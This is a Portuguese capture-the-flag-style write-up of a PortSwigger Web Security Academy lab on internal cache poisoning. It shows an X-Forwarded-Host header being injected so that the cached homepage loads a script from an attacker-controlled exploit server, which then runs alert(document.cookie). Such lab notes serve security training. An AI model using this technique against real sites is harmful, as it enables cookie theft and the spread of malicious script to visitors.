> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/internal-cache-poisoning.md).

# Envenenamento de cache interno

Notas sobre envenenamento de cache interno para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Envenenamento de cache interno

Este laboratório é vulnerável ao envenenamento do cache da web e usa várias camadas de cache. / Um usuário visita regularmente a página inicial do site com o Chrome.

O objetivo é envenenar o **cache interno** para que a página inicial execute `alert(document.cookie)` no navegador da vítima.

**Análise inicial**

Interceptamos a requisição para a raiz (`/`) e analisamos com **Param Miner**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b63e723f9bc9b1f2723a83202cc060f99ecce3e%2F%7B45C86D99-CFCA-426B-A21B-D50AB40AE16B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Observação do comportamento**

Quando adicionamos o seguinte cabeçalho à requisição:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5c640240e894c17976e510806a3a5caed880e80%2F%7B9F7F7EF1-D66D-4743-843C-4CC01D08724A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Observamos que a resposta do servidor reflete esse valor.

```http
X-Forwarded-Host: test.com
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd4f7f2ec0ae3d3dd8526bde8e223d0b36c21700%2F%7BA03C2EB7-E5ED-45A7-A18B-77D763D71D8E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

No entanto, essa modificação só fica visível se o cabeçalho for mantido nas requisições internas.

Ao enviar inúmeras requisições com esse cabeçalho, o servidor acaba **armazenando em cache a resposta interna**.

\*\* Impacto no conteúdo em cache\*\*

Um script carregado inicialmente na forma:

{% code overflow="wrap" %}

```html
<script src=
//0a3e00ba04f2869b810cbcb30088000a.web-security-academy.net/js/geolocate.js?callback=loadCountry>
</script>
```

{% endcode %}

Após envenenar o cache, ele é transformado em:

```html
<script src=
//test.com/js/geolocate.js?callback=loadCountry>
</script>
```

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb6603cfd57e6e6fc485f2b480d1f22793c20d38%2F%7BA417B41A-81DE-4C6C-BBD9-333A3983B323%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

A origem do script agora depende do valor injetado por `X-Forwarded-Host`.

```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```

O cache interno é envenenado com uma resposta maliciosa. / Quando a vítima visita a página inicial, o navegador carrega o script do nosso servidor, resultando na execução de:

```javascript
alert(document.cookie)
```


---

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